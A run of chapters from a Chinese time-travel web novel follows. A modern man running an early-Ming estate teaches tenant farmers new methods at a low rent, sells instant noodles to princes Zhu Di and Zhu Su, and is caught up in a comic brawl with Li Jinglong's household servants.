“对哦,咱们还有里长大人呢。”朱安宁听着朱橚的建议,猛地一拍手,笑了起来:“他好像也在外面帮忙吧,走走走,我们去找他去。” 连碗筷都顾不得收拾,朱安宁领着两人就往外跑去。 只见离他院子稍远的位置上,一大群人正在劳作,准确地说是部分在搭房子,而另一部分,则已经开始开垦荒地。 一些进度快的,看着就是已经要点火去烧田。 而我们的里长戚祥大人,现在正忙得陀螺似的,转个不停。 “哎呀,材料没那么快到,你们先扎草,你那边又怎么?啊,你说老八这个鸟人烧田把路旁的杂草都燎着了?燎着了你们灭火啊!水桶不是今早就备好了么……啊?你说火自己灭了……灭了你找我做甚!!!”恼火至极的戚祥,一脚就踹到了那个小伙身上,那小伙也识趣地连滚带爬跑走了。 此刻的戚祥,只觉得这比鄱阳湖大战还累人,简直就是折磨,自己是犯了什么罪,要被派来做这样的事情。 直接做个亲卫,不香么。 所以当朱安宁领着朱棣和朱橚,冲到戚祥面前的时候,才一开口,就被戚祥的狮子吼吓得抖了三抖。 “又怎么了?!!!” 这一轮爆吼,直接就让三人嘘了声。 “戚……戚叔?”最后还是和戚祥比较熟的朱棣试探性地问了句。 “啊?”戚祥听见这声音,也是觉得有点不对头,连忙转过了身来,场面一时陷入了尴尬之中。 “哎,刚才事多,吓到了三位爷,莫要见怪莫要见怪……”大丈夫生于天地之间,该认怂时就要认怂,这里两个皇子,一个也是姓朱的不知道什么爷,自己可没有朱元璋派的丹书铁券……他这个礼行得相当标准,腰都快要弯到了地下。 “戚叔戚叔,事多脾气不好正常,又不是什么大事,不用行这么大礼。”不同于坦然接受的朱棣和朱橚,朱安宁只觉得莫名其妙,这么大礼干嘛,不过正事要紧,他也没想更多东西,连忙拉住戚祥,继续开了口:“戚叔,你让大伙先停一停,来我这一下先可以么?” “朱爷有事要和他们说是吧,这小事。” 听见朱安宁的要求,戚祥是真的觉得这是小事。 早上他早早就到了此地,然后发现这群家伙干活那是乱糟糟的。 然后便按之前行军的法子,抽了几户明显看得就机灵些的人,作为类似十夫长的人,要求他们按户分配工作,别乱糟糟的一群人在那里。 现在朱安宁想要集合众人,他只需要通知这些农民是夫长就好。 所以他吆喝了几声,几个年轻人就跑了过来,精气神是要比普通的农民要好些。 几人看见朱安宁也在,便也慌忙行了个礼,多少还是有些拘谨地问道:“戚叔,怎么了?” “哎,你们朱爷有事要说,你们赶紧去把人给咱叫齐过来。” “好嘞,这就去。” 戚祥的话音刚落,那几人就四散跑开。 却也把朱安宁三人看的一愣一愣。 “戚叔,这几个人是?” “哎,咱以前是打过仗的,这百十来号人太难管了,所以挑了些机灵的,权当是十夫长在用了。” 戚祥简单解释了下。 三人也不是傻子,一下就听懂了原委。 而朱安宁更是想竖起大拇指,这什么生产大队模式啊……多少有些熟悉呢。 诶……不对,自己真的搞生产大队不就好了么?不生搬硬套……活用一下…… 哎不过现在当务之急是先得先让他们接受这农政全书。 他也是有点抑郁。 穿越前看各种小说,农政全书,齐民要术一掏出来,那不是神挡杀神,佛挡杀佛,各路皇帝纷纷痛哭流涕直呼神书神书。 而自己实操时才发现,尼玛的农政全书实际上更多的是总结归纳,很多法子是本来就在用的啊,而且,新法子,你能让那些耕了一辈子地的农民一下就接受? 推广才是难事。 他已经做好了心理准备。 大不了威逼利诱,要挟拿捏,总之,他是一定要把这农事篇章推广开来的。 不说现在各种灾害,就说这冰期,是还要持续许多年的啊,他这一手农事篇章越早推广,就能有更多人不再忍饥挨饿。 待到他有能力把这农事篇推广开来,还有一篇荒政,这玩意就是讲野菜的,到时有时间抄好了,丢给那小周就行,他爱看这个…… 在朱安宁各种思绪混杂在一起的时候,他庄里的农民们,很快就到齐了。 一群人有了朱安宁发的粮,再加上官家给的那部分,昨天总算是敢放开来吃了一顿饱的,现在看起来虽然还是瘦弱不堪,但是脸色总归还是好了很多。 “朱爷叫我们来干嘛?” “莫不是又要发粮?” “发你个大头鬼,朱爷的粮就是全给你这种好吃懒做的憨货吃是吧。” 乌泱泱一群人在那窃窃私语,让朱安宁陡然有了些压力。 但是也只能硬着头皮上了,朱安宁找了个快石头爬了上去,开口大声喊道。 “诸位,我这有些关于耕作的新法子啊!!!咱们庄子不是最近也要播晚稻了嘛,我呢,就希望大家能按照我的法子去耕种……” 嗯,话开了个头,接下来应该就是熟悉的固执老头跳脸,挑剔大妈恶心人环节了吧…… 朱安宁特意顿了顿。 然后再顿了顿…… 嗯? 他看了看下面安静的人群,只觉得,有点点,和他想的,不一样呢…… 第六十一章 卖泡面 这不仅让朱安宁意外,更让他有点尴尬。 因为他矗在那儿,沉默着,被所有人注视。 “呃?诸位没有意见?”他试探性地问了句。 只见下面有个老伯,咧嘴笑了起来:“俺们没种过稻子,俺们那边都是种麦子的,反正朱爷不会害俺们的。” “对对对,朱爷不会害我们的,朱爷说的都是对的,朱爷说种啥,俺们就种啥。” 一群人开始附和了起来,就这么地自然,这么地水到渠成。 只留下朱安宁站在石头上面,有些凌乱。 不是,这剧情走向,不太对啊。 没种过稻子,那地是耕过的吧……就没人跳脸自己? “那……那诸位,认识下,这是小燕,这是小周,耕种的法子呢,他们手里有,今日大家就先按里长安排的任务,正常劳作就行,明日开始我们再执行可好?” 朱安宁把朱棣和朱橚推到了众人眼前。 这让两人多少有点猝不及防。 “啊?” “啊?” “啊个屁啊,那么多人,总不能就靠我一个人吧。” “你俩吃我的住我的,给我干点活,怎么了!” “我俩也没反对啊……”朱棣有些无语,怎么就无缘无故被朱哥怼了几句呢。 三人在石头边上快速地交换了意见。 而下面的佃农们,却已经主动开始和朱棣朱橚打招呼。 “见过燕爷,周爷……” “啊……呵呵……大家好。” 他们的尴尬来源于突然,所以缓解得也相对快些。 “好了,今天就这事而已,大家散了吧散了吧,早点扎好房子,早点种地,早点有个好收成。”朱安宁只能又继续补了句。 “好嘞,谢谢朱爷!!!”一堆人又是乐呵呵地对朱安宁行了个大礼,才徐徐散去。 待到人群散尽,朱安宁才走下石头。 戚祥自然也是看出了朱安宁的复杂情绪。 “怎么,朱爷?你是觉得这群农民这么听话很意外?” 戚祥笑着在那说着些大实话。 “啊?……戚叔你看出来了?” “我这年纪摆在这,看的事情多了,也就看出来了呗。” “不是,我都准备好了一堆说辞……结果他们就朱爷说的是?朱爷说啥就是啥……” 朱安宁因为事情顺利,其实还是相当高兴的,但是又因为太过顺利,有种憋了半天,只是放了个屁的落空感觉。 这又让他多少有点难受…… “那敢问,朱爷你怎么就觉得他们会反对呢?” 戚祥看着朱安宁,又追问了句。 “我,一个小地主,年纪也不大,说要教他们一群老农耕地,不是应该会有人跳出来指指点点说你才多大啊你怎么会种地啊之类的么?” 朱安宁在那凌乱地说着自己的感受。 “朱爷……”结果,戚祥却开口打断了他的话语:“您现在只要不是干杀头犯法的事,这群佃农,都只会说对对对。” “怎么说?” “来做佃农就送米,送米就算了,朱爷,十收一这租,可太夸张了啊……”戚祥摇着头笑了两声。 夸张? 以前现代还收这玩意的时候,大概也就是一到两成吧。 那自己这一成,确实是很低的。 只是朱安宁也不是什么真正的明朝专家,他也没过多地关注明初这边的抽成情况。 “附近的田地收租几何?”朱安宁若有所思地问道。 “收四成的就已经是善人,至于那收三成的那诚意伯家,他家的佃户已经差不多要把他供起来拜,这附近的田地,普遍五成,六七成的也不是没有。”戚祥看了看远处那些田地,缓缓说道。 ??? 六七成?! 朱安宁张大了嘴巴,他是真的被震撼到了。 这还是明初啊,地多人少……收七成? 资本家要被吊路灯,这地主也有很多该死的啊。 广东那边某个市,能不能再出个大哥振臂一呼,快进到下一个阶级啊? “六七成!那佃农如何生活?!”朱安宁是自己惊叫了起来。 也没管朱橚和朱棣还在身旁。 “好些的时节存点粮,不好的时节农闲时上山拾掇拾掇,日子也就是勉强过下去罢了。” 夸张…… 是真的夸张,这才是明初而已。 朱安宁独自在那咋舌,也总算是了解到了自己的十收一有多么逆天。 但是好消息是,似乎正是他如此逆天的行为,好像也收获了全村人无条件的信任…… “朱爷,倘若您这十收一,真的继续下去,这庄,怕是真的称得上是永乐了啊。”戚祥感叹了句,那敬佩的语调,不似作假:“好几拨还没安置的农户,听说了您这十收一的消息,都拼命想来您这,说给一亩田也好……” “还有农户要过来?”这让朱安宁皱起了眉头。 穷则独善其身,达则周济天下,那现在自己也就小康,一下也泽不了那么多人啊…… “也不是,就是听了消息,想来而已。”戚祥看见朱安宁那紧张的样子,不由得笑了起来。 “呼,戚叔,吓我一跳,来的人多了,我这地也不够分啊,原本我还以为两百亩挺多呢。” “朱哥,两百亩不算少了,只是这落户的农户一下太多了而已。”朱橚补了句。 于是,朱安宁也长长地叹了口气。 “要是有更多的钱银就好了,这周围一大圈也都还是荒地,也不知道是谁的,再买下来,就可以分更多的农户了。” 打野蛮六,农民就是一切! 自己现在开局不想建奇观,就想踏踏实实走农业路线了。 可惜,地盘着实有点小。 朱安宁咬了咬牙,又开始盘算要不要继续卖茅台。 他却也没有注意到,朱棣不知道什么时候,凑了上来。 “朱哥,缺银?” “缺啊……你有啊。” “我有啊!”朱棣咧嘴笑了起来。 “怎么,你送我啊?”朱安宁翻了个白眼。 “送,不太好吧,朱哥,你那些好吃得紧的泡面卖我呗。”朱棣,依旧还在那露着他的两口大白牙。 早上朱安宁的早餐,煮得抠抠搜搜的,让他很是不爽,所以他动了些心思。 这话让朱安宁一下就愣在了那里。 “啊?” “一百两,我全要了!” “四哥!我也要!我也出一百两!”朱橚听见朱棣的话语,也突然加入了战局,他喊得,有些着急,生怕,没泡面吃那般。 第六十二章 憨货 这两是地主家的傻儿子么? 答案是肯定的,起码在朱安宁心中是。 但是,明初的地主这么有钱的么?! 两兄弟,一开口就是一百两,神经病啊!泡面哪值那么多钱…… 他哪能想到,这两,一个燕王,一个周王,年俸禄都是万石的,更不用说朱元璋不时的赏赐了。 看朱安宁楞在了那里,朱棣只觉得自己是不是出价太低,侮辱了泡面这种极上美味。 “两百!” “哥哥哥……咱们不抢,你一百我一百,一人一半?” “可!” 只见朱棣和朱橚,欢喜地击了击掌,似乎已经讨论出了结果般开心。 “等下,我说卖了么?!”朱安宁看着那乐呵的两兄弟,也是有点腻歪,有钱人就是可恶啊! “算了,还是卖你们吧。”结果,朱安宁只嘴硬了一秒,没办法,他们给的太多了啊。 “银子你们也不用给我了,帮我换成地吧……你们老爹之前帮我置换过的,这一片荒地他好像有门路。” “行行行,朱哥你愿意卖就好。” 只要朱安宁愿意卖,什么都好说。 戚祥却也把话听了进去。 免不得,自己一会又要跑一趟了。 这朱爷换地,明显就是动了心思要招更多的佃农。 只是他这个十收一的抽法……那么多佃农,估计还不如别家一百亩地收的租多呢。 图个啥啊?! 想不通就不想了,反正是皇帝派自己过来的,自己跑好腿,传好消息就对了。 朱棣和朱橚,在获得朱安宁的许可后,欢天喜地地往院落里跑去。 看样子,就是要去分朱安宁的泡面。 这幅样子,真是让朱安宁哭笑不得。 这大概,是全中国,卖得最贵的红烧牛肉面了吧。 这两个家伙真是吃不腻泡面啊。 不过自己箱子里还还有合味道的杯面,自己应急是够吃的了。 一边想着,朱安宁也一边往回走。 回到了,属于他的院子里。 “喂,你俩中午想吃什么?” “泡面!” “神经病啊……” ———————————————— 日出日落,对朱安宁来讲,不过是数天。 却已经让他累的龇牙咧嘴。 原因很简单。 他丢了两册农政全书的农事篇给朱棣朱橚两兄弟,去教老农们耕种。 而院里的地……就只剩下他在侍弄了。 “我靠,累死老子了,干一天活,还要给那两个憨货做饭,我是他们爹啊?!呼……那季爷家的两个孙子什么时候过来啊,来帮忙啊!” 朱安宁坐到了房车边上的遮阳棚下,在那独自喘着粗气。 相比他,院外田间的两兄弟,就游刃有余多了。 原本朱橚就有耕种经验,他就按照书册所言,慢慢解释给那些农户听。 农户们也大多都能按照朱橚的说法,去做。 少数有疑问的,也会被朱棣用,朱爷的吩咐,怼回去。 总而言之,他们领到了官府给的种粮后,很快就开始了育秧。 由于是在河边,这百亩田的灌溉极为方便。 浸种、催芽有条不紊地进行着,同时也没有影响到更多土地的开垦。 至于草屋的建造,则更多地交给了那些半大小孩和妇女。 这名为永乐庄的荒地里,终于有了些人气,和生机。 而昨日,那两小吏又来过一次,和朱安宁确定过了新地的契约,是戚祥抽了个空回了个宫,汇报了朱安宁想要地的事情。 老朱大手一挥,这官家的荒地,自然也就又划到了朱安宁的名下。 接踵而至的,又是一批新的农户。 不同于第一批那般死气沉沉。 这一批简直就是欢天喜地,乐不可支。 郊外小田庄附近新开了个庄叫永乐,里面的朱爷简直就是菩萨下凡,这件事情,早已传开。 所以当这批农户知道自己分到朱安宁名下的时候。 不少人直接就当场又哭又笑,跪地感谢上苍。 当然,这些事情,朱安宁并不是太想知道。 他唯一知道的是,来了新人,又要分他的粮了…… 他不仅错误估计了农户的人数,还高估了自己这几十两银子的购买力。 朱爷家,也要没粮了呀。 是不是得,想个办法搞点钱啊。 老是卖自己的物资,也不是个事啊。 献宝去宫里,倒是一条快速路,快速投胎的路…… 朱安宁是从不考虑的。 思来想去,怕不是真就只能等到这一季的土豆番薯玉米等作物成熟,自己开始扩种第二季再收获后,才能说用这些粮换些钱了。 这得等到明年啊…… 突然就有了点财政危机的朱安宁,也只能在那摇头晃脑,一时之间,并没能想到更好的做法。 不过要说慌,那也是过分了。 大不了,又卖物资嘛。 有兜底,怎样都行,只是不太想而已。 休息得差不多的朱安宁,慢悠悠地站了起来。 正准备去院外看看。 却没想到,那门,已经先一步被戚祥给推开。 “朱爷朱爷,外面突然来了批人,看样子有点来者不善啊。”戚祥沉声开了口。 他刚才正在帮那批新的农户,建草房,远远就看着一群家丁模样的人,簇拥着个年纪已经不小的瘦子,向自己这边走来。 常年的行伍生涯,养就了他敏锐的嗅觉。 这伙人,不是很对劲。 于是他连忙跑回了院里,想把朱安宁叫出来。 毕竟,他只是个里长,这片土地真正的主人,可是朱安宁。 “啊?什么情况?”有些懵的朱安宁,就这样被戚祥,扯到了门外。 然后,他也看见那一群人,走向自己的人。 那群人,还未走到跟前,便见那领头的瘦子,趾高气昂地喊了声:“这地是哪个憨货的?!出来。” 瘦子扫了一眼,其实早就看到了被推到门前的朱安宁,看着戚祥后退半步的样子,他马上就知晓了,这地的主人大概就是眼前的年轻人了。 但是他依旧选择了,最不得体的大声嚷嚷。 原因是,他,很不爽。 作为曹国公府里的小管事,他负责的是郊外的俸禄田,近期,他正想招些佃农,按照行价,抽个五成应该是可以的,毕竟最近又来了一大批外地的流民,说不定自己能招一批愿意接受六成的呢。 “俺不做,俺已经定了,要去永乐庄朱爷那,他那只抽一成。” 这是他前几日听到农户的回应。 “一成???那个憨货,脑子有毛病吧!!!” 瘦子李富贵,只觉得,要么是那农户脑子有问题,要么就是那个所谓的朱爷,脑子有问题。 总之,不可能是自己脑子有问题。 第六十三章 刁民 抽一成?!他怎么不直接给那群贱民送粮,真是岂有此理,破坏市场,目无王法,可恶至极。 这是瘦子李富贵的想法。 他觉得自己非常占理,所以他嚷嚷得很大声,更重要的是,他觉得他背后的国公,也是很大的道理。 既然自己这么有道理,那就可以不怎么讲道理了呗。 教训一下那个憨货。 是他目前最直观的想法。 作为曹国公手下的小管事,他还是有些门路的。 他已经提前查清楚了,这小地主朱安宁,不过是近些日子才搬来这附近的,大概是有了笔小横财,所以就置地做了这的地主,连南京户帖,好像都是近期才换过来的。 卑鄙的外乡人! 莫要以为有了户帖,就可以说自己是京爷! 气势汹汹的李富贵一群人,着实也是吓到了朱安宁。 “戚叔,咱得报警啊。”朱安宁强装镇定,沉吟道。这群人一副要揍人的样子,有点怂,要不回房车躲一躲? “报警?”戚祥一脸懵,没听懂转朱安宁的意思。 “啊不,报官。” “为什么要报官……” “对方不是来者不善么……” “又没带武器,能有多不善?就这种货色……” “戚叔你的判断标准可能和我们这些年轻人有点点不一样……” 这句话倒也是提醒了戚祥,他现在是里长,不是大明皇帝的亲卫,所以自己好像有点太镇定了吧。 这不符合洪武帝给自己的设定。 于是他连忙后退了半步。 把朱安宁拱到了前面。 想用自己相当拙劣的演技,去表现出一个普通里长该有的害怕感。 于是假害怕的人,躲到了后面。 真害怕的人,被拱到了前头。 朱安宁现在的眼神,复杂到难以言表。 同时蕴含了,不解,惊讶,害怕,和愤怒,尼玛的你怕了推我到前面去干嘛?! 最后,他也只能眼勾勾地看着那群人来到了自己的面前。 “你就是这地的地主?”李富贵鼻孔很大,朱安宁甚至看到了上面张扬的鼻毛。 “诶,我是。”朱安宁也想往后缩,却已经被戚祥卡住了身位。 沃日…… 于是,他也只能在心里问候了一轮戚祥的各种亲人。 “哪来的小地主,这地界的抽成,是你可以决定的么?”李富贵依旧在那趾高气扬,背后有人,就是硬气。 他已经想好了,略微揍一顿朱安宁就好。 自己可是很有分寸的,做事会留很多线。 “诶,这位爷,我这不是……”朱安宁开始小心翼翼地斟酌着自己的用词。 可惜李富贵已经没有了耐心。 “你们去,轻点打,打完我再问下这个小哥,以后准备收几成。”他挥了挥手,可惜因为太瘦,没有什么气势,倒是更像公公在叫唤。 哎,还是要暴露自己?轮到戚祥有点无奈了。 一个人打两三个还好,现在要动手,就要打这一群,会不会有点过于夸张? 那几个阴恻恻笑着的家丁,已经来到了眼前。 戚祥已经没有多少犹豫的时间了。 而朱安宁也准备好了跑路的路径…… 玛德,古代连个报警电话都没有,而且自己犯了什么事啊……听着排骨鸟人的语气,好像是自己定的租子太低了? 他在心里吐槽着,却也知道挨揍是会疼的,脚上已经做好了发力的准备。 眼看双方就要发生肢体接触。 不远处却突然传来了一声怒吼。 “哪来的贼人?敢在此放肆!” 不止是那几个家丁被吓到。 连朱安宁和戚祥都被吓了个踉跄。 原本一人已经准备出手,一人准备跑路,结果都被这一嗓子叫停了下来。 只见一个快到有点模糊的影子,冲了过来,飞起一脚,踹向了那李富贵。 “卧槽,这么猛?”是朱安宁在感叹。 而他身后的戚祥也是叫了出声:“哎呀,别打死人咯……” 戚祥的话,是有缘由的。 因为他已经看到了出手的人是谁。 朱棣那一记飞脚,可没什么留手的想法。 李富贵像个沙包一样,被踹了几个圈,摔在了地上。 溅起灰尘,扬了那群家丁一脸。 然后便也是朱安宁熟悉到不能再熟悉的桥段。 他就看着那地上爬了好几次都没能起身的李富贵,挣扎着换了个舒服点的躺姿,面目狰狞地对那群家丁喊道:“要死啊你们,看我被打还矗在那干嘛,给我打啊!” 只可惜,李富贵喊是喊了,但是那群家丁谁敢动啊。 四周不知什么时候已经围上来了一群农夫,领头的正是朱橚。 他们手里可是有各种家伙什的。 而那被朱棣踹得眼冒金星的李富贵,也是终于发现了他们已经被包围这件事情。 “哪来的小贼,来我永乐庄闹事?”朱棣把人踹倒后,没继续动手的意思,而是冷着个脸,开口说道。 毕竟他也是读过书的文明人……虽然,他更喜欢打打杀杀。 形势比人强,刚才还觉得自己很有道理的李富贵,瞬间就觉得可能要重新理一理。 连狠话都没敢撂,他赶忙在那群家丁的搀扶下,快速地逃向了远处。 “啊?就走了?发生了什么事……”朱安宁多少有点懵逼,这些人是谁,为什么一副要揍自己的样子,什么都没有了解到,就被小燕一脚踹跑了? 话说,这小燕也太猛了吧,这一脚,都把人踹飞了,古代随便拎个小年轻出来就有这种水平了么? “朱爷你没事吧。”然而也轮不到朱安宁继续多想,那群农夫连着上来跟他打招呼,一副怕朱安宁受伤的样子。 “诶诶,我没事我没事……大家散了散了,该干嘛干嘛……小周,你领大家回去吧。” 他连忙对众人说道。 却也没有发现,戚祥,不知什么时候,已经消失在了现场。 他在遣散完众人后,才有机会和朱棣搭上话。 “小燕啊,打架不要这么狠啊……打死人了怎么办嘛,咱们一介平民,还是注意点好。”朱安宁叹着气,像个老头似的唠叨了两句。 他只是不想惹麻烦。 没想到,麻烦居然还能自己找上门。 nnd,这明初的地主,这么野的么?!我收租低就要来揍我。 真踏马的刁民! 第六十四章 50对8,优势在我 “啊,朱哥说的是。”看见朱安宁皱起了眉头,朱棣也觉得自己会不会下手有点重:“这不是看到那群人气势汹汹的,我又跑得急嘛。” 朱棣挠了挠头,一副人畜无害的样子。 “哎,你一脚把人踹走了,对方是谁都不知道,这莫名其妙的……” “对哦,是谁都没问……”朱棣也反应了过来。 不过很快,他就开始找寻戚祥的存在。 而扫视了一圈,发现戚祥已经不在后。 他便也知道,那群人的身份,应该很快就能知道了。 “戚叔应该去打听了,他是里长,他熟。” “我还以为他跑了呢,刚才这戚祥……把我推到了前面去……好悬没被人揍一顿……”朱安宁虽然翻了个白眼,不过心里想的是,戚祥也这个年纪了,怕被揍也是正常,便也就没有再多想。 “应该也就是附近的小地主吧。”朱安宁,顿了顿,又补了句。 “应该是。”朱棣无所谓地耸了耸肩,毕竟在他心里,除了他老爹,剩下的人都是小地主…… 早晨的永乐庄,又开始继续运作了起来,仿佛刚才发生的事情,不过是个小插曲。 —————————————— 被踢飞的人,现在还在那里龇牙咧嘴,毕竟是真的疼。 李富贵理了下刚才发生的事情,不由得狠狠地拍了下桌子。 却又马上牵动了胸口的疼痛处,好悬没一口气背过去。 “娘的,那群刁民,趁我们没带家伙,不讲武德!欺负我!真是可狠!”只见他面目狰狞地靠到了座椅上,说得咬牙切齿。 “李管事,接下来怎么办?这事就这么过去了?”一名家丁小心翼翼地靠了过去,开口问道。 “过去?你看看我胸口这个脚印?这件事情就这么过去,你良心不会痛么?我们一群好声好气过去和那小地主商量事情是吧,却被人狠揍了一顿,这太无法无天了,绝对要告诉上面!”李富贵说得唾沫横飞。 手下那几个家丁却也还是有点脸皮的,听着李富贵的话,也不自觉地有些脸红。 明明是自己想要揍别人,结果被反揍了而已…… 自家老大是做史官的吧,这么会春秋笔法啊…… “愣在干嘛,快去啊!”李富贵看着一动不动的众人,又愤怒地拍了下桌子,然后毫不意外地,痛呼了起来。 “李管事,刚才咱们逃……啊不,撤回来的时候,小公爷已经看见咱了,刚才才叫了窦茅他们过去问了情况。” “小公爷看见了?!那感情好,一定要让小公爷给咱们出气!柯勒,扶我起来,我要亲自去给小公爷说明情况!” 李富贵听见小公爷在,不由得眉飞色舞了起来,连刚才的伤都好了大半。 这次自己一定要带够人和棍子!狠狠地去敲那个敢踹自己的刁民!!! “李管事,听说你被人揍了?”结果,李富贵还没起身,就又有人走进了屋子里。 “小公爷啊!”那李富贵一看到李景隆进来,瞬移般地爬到了他脚边,立马就嚎了起来。 “那新建的什么永乐庄呐,都是一群刁民啊,我今儿带着大家,说去看看有什么可以帮忙的,那地不是都是新农户嘛,结果刚进去就被人揍了啊,小公爷啊!!!” 他嚎得鼻涕横流,声情并茂,让一边的窦茅,柯勒都有些无言。 “什么?居然有人敢在应天府行凶,这还有王法么!?”李景隆方才听窦茅已经说过些,只是那窦茅支支吾吾也说不清个所以然来,他才进屋想问李富贵的。 “就是啊,小公爷你看我,被人踹了一脚,摔得屁股都要裂开了,这哪摔的是我的屁股啊,这摔的是您的脸啊!”李富贵又凑得更近了些。 那话却也让李景隆有些无语,你的屁股我的脸,可真会说话…… 只不过看来自家人被欺负了,是事实,那他作为这个家的二号人物,那是必须要出下头的! “抄家伙,走!”面沉如水的李景隆,英姿飒爽地下了命令:“在哪?带我去!” “回小公爷,就是那小田庄旁的河边,也是靠郑村坝那边。”站在不远处的柯勒,立马回答了李景隆的问题。 于是,应天府外的一场械斗,就此拉开了序幕。 这场械斗,事后被应天府尹记到了府志中,称作郑村坝械斗。 李景隆领着一群人,浩浩荡荡地杀向了永乐庄,一众人手里拿着各种棍子,就算是他也知道,打群架这种事情,棍子最保险,最不容易出人命。 毕竟自己只是想去出口气而已。 这一幕,正是被前来看情况的戚祥,看在了眼里。 “哎,是曹国公家的人啊……怎么小国公也出来了……麻烦咯麻烦咯……”戚祥无语地摇了摇头,只觉得今天这算是什么破事嘛。 他大致估算了一下李景隆带的人马,便马上缩回了草丛里,换了条小路,往永乐庄的方向跑了回去。 而此时的朱安宁,还不知道,刚才的事情是有后续的。 他正在苦逼地挑着水…… 准备侍弄院里的那些各种苗。 院外,那戚祥要比李景隆等人来得快得多,他一下没找到朱安宁,便赶忙拉住了看起来闲一些的朱棣。 “燕王殿下,刚才您揍的人是曹国公家的……”戚祥快速地说道。 “呃……啊……”这就让朱棣有点尴尬了。 “而且现在小国公带着一群人往这来了,看样子是想要……” “九江儿?”朱棣本来还有些尴尬,结果一听对方还敢来,便也是气得乐了起来:“还敢来?” “小国公可不知道您和周王殿下在这……” “哦对对对……”朱棣沉思了片刻,突然又喊了起来:“那可不行!不能让他们进庄,省得一会又惹出什么乱子来,戚叔,你找些年轻人,跟我去郑村坝那边去堵九江儿,我就不信了,他敢这么猖狂。” “六个人够不够?” “加上你我八个人够了,对面多少人?” “近四五十号人。” “哎,这草包,人多有个屁用,一开打,气势输了,这么多人堵在那里,反而跑都跑不掉。”朱棣挑了挑眉,嗤笑道。 第六十五章 郑村坝械斗 郑村坝。 就是一个常见到不能再常见的名字。 大概很多地方都有。 只要有个地方叫郑村,村口有个坝子,那这地方,便会被大家叫做郑村坝。 所以有郑村坝的可以是五十万大军对垒八万大军的靖难战场。 而有的,也可以是五十人对八人的械斗场所。 朱棣的目的很明确,阻止李景隆这个草包,进到庄里就行。 毕竟影响很不好。 他时刻谨记着他老爹交代的任务,最好不要暴露身份。 而李景隆的想法也很简单,这群穷鬼!敢杀我的马?!不对,是敢打我的下人?! 必须要让他们知道这片地,谁才是大哥。 阳光炽热。 地表很干,所以人走过就会扬起一阵土,毕竟这又不是什么大官路,能走就算好了。 李景隆心情还是有点雀跃的。 毕竟他已经被他老爹关了好几日了。 就是因为他作死带朱橚出城这件事,案发了。 朱元璋倒是没有特别生气,但是他老爹李文忠还是战战兢兢地把他关在家里关了好几日,就昨儿才给他放出来。 现在刚出牢笼,就遇上了这样的乐子。 就让本小国公,惩奸除恶吧! 和李景隆的雀跃不同,趴在路边准备打伏击的朱棣,就有些紧张了。 刚才说八个人就够,现在一看,对面这黑压压的一片,还是有点虚的。 人数不占优啊,正面打肯定没得玩。 随着步伐声越来越近。 双方的史诗级碰面,将要来临。 喧嚣的风儿也配合着扬起了一阵沙。 让能见度下降了许多。 朱棣知道不能再等了,只见他给了戚祥一个眼色,然后一马当先跳到了路上,大喝了一声:“九江儿!!!” 这一声破胆怒吼,范围很大,效果很好。 因为李景隆同学,耳朵是没问题的。 他在扬尘中抖了抖,看到了眼前有个模糊的人影。 而他的大脑简单处理了下声音信息,便很快得出了结论,是燕王…… 这声音他可太熟悉了,两人可是一块长大的…… 于是,他不自觉地被吓得退了退。 自己是来惩奸除恶,怎么会有个燕王朱棣在这里,糟糕,莫不是那李富贵惹的就是燕王吧! 怕不是又要被关禁闭了啊! 于是,下意识便啊了出声。 “啊!” 这一啊可不要紧。 风很大,声很糊。 他身边的窦茅只看到了前面有人,模模糊糊没看清,然后耳边就是自家小国公的:“上啊!!!” 好像是上啊吧……也没听清,不过就一个人,怕个锤子…… 于是窦茅嘿嘿笑着,和一旁的柯勒一起冲了上去。 欺软怕硬,以多打少,可是他们这群家仆最擅长的。 他们身后的家仆本来还在犹豫,那现在都有人带头冲锋了,那还不上? 于是,现在场中有两个人的脸有点发绿。 一个是李景隆,我靠你们这帮憨批,怎么敢上的啊,那是燕王!!谁命令你们上的?! 另外一个自然是朱棣了,我靠九江儿没认出我来?!完犊子,没吓到他,这几十号人自己怎么打得过。 只见朱棣身后的戚祥又是叹了口气。 “唉哟,这么多人,莫要打死人咯。” 他一脸愁容,只觉得自己这段时间,真是白头发都多了几根,难受啊。 对方都冲过来了,自己这般再不出去,朱棣这揍是挨定的了。 所以,他也连忙领着他挑选出的永乐庄为数不多的几个壮丁,跑了出来。 械斗一触即发。 要说武力值,朱棣可是不差的,快速冲到前面的那几个家仆,绝不是他的对手,三两下就被他放倒,当然,李景隆那边人多势众,他免不了还是挨了几棍子。 幸好这时戚祥等人也已经赶了过来,帮他挡下了不少人。 要说打架,戚祥那就是专业级了,只是现在不好下死手,也是打得有点憋屈。 而朱棣那边,挨了几棍,痛得他呲牙咧嘴又恼火不已。 奶奶的李九江,爷跟你拼了。 一咬牙,一跺脚,他又拼着挨了几下,终于找了到了个空隙,冲了出去。 目标非常明确。 李景隆! 只见朱棣跑得飞快。 却也把那群家仆整不会了。 这人干嘛啊…… 于是,所有人都看向了后方。 手上的动作竟默契地停下了不少。 包括戚祥他们。 而作为朱棣的目标,李景隆就不好受了。 一个红着眼,拎着棍子,且从小到大都比自己能打的人冲向了自己。 本能上,李景隆选择了从心。 他毫不犹豫地转身就跑。 “救我!” 边跑,他还不忘发出求救信号。 于是,刚才还在和戚祥他们对垒的那几十号人,只得回头救他们的主子。 而经验丰富的戚祥,立马就知道机会来了,连忙带着永乐庄的六人,也撵在了后面。 郑村坝上,尘土飞扬。 一人追着另一人,一拨人也撵着另一拨人。 热闹,非凡。 ———————————————————————— “又打架了?”朱安宁无语地看着挂彩而归的朱棣。 身上有不少淤青,衣服还有些破烂。 至于戚祥和那六个被带出去的永乐庄的人,则一点事都没有……毕竟,他们大部分时间只是追在后面,损失的只有体力…… 朱棣猛灌了一口水,咧嘴笑了起来:“是那狗日的李……呃,李三江!!!” 他在最后时刻,给李景隆换了个名字。 朱安宁则皱起了眉头,过了许久才想起来:“前些日子街口带着你弟纵马那个?” “对,就是他……今早来闹事的,是他家的家仆。” “呃,那你有没问清楚什么情况啊……” “呃,光顾着揍他,忘记问了……” “你没把人家怎么样吧……” “应……应该还好吧……”朱棣说得支支吾吾。 戚祥和参加械斗的几个人,都在那忍不住笑。 这时候恰好朱橚也拿好了药膏,跑了过来。 “幸好我带了些药酒过来……”他没有管朱棣同不同意,一把就涂了上去,然后用力地搽了起来。 “嗷~~~痛痛痛~~~弟,轻点,轻点……” 哀嚎声,既可怜,又好笑。 第六十六章 家长会 “啊?打架???”正在宫里和几个内阁大臣商量着事的朱元璋一脸懵逼。 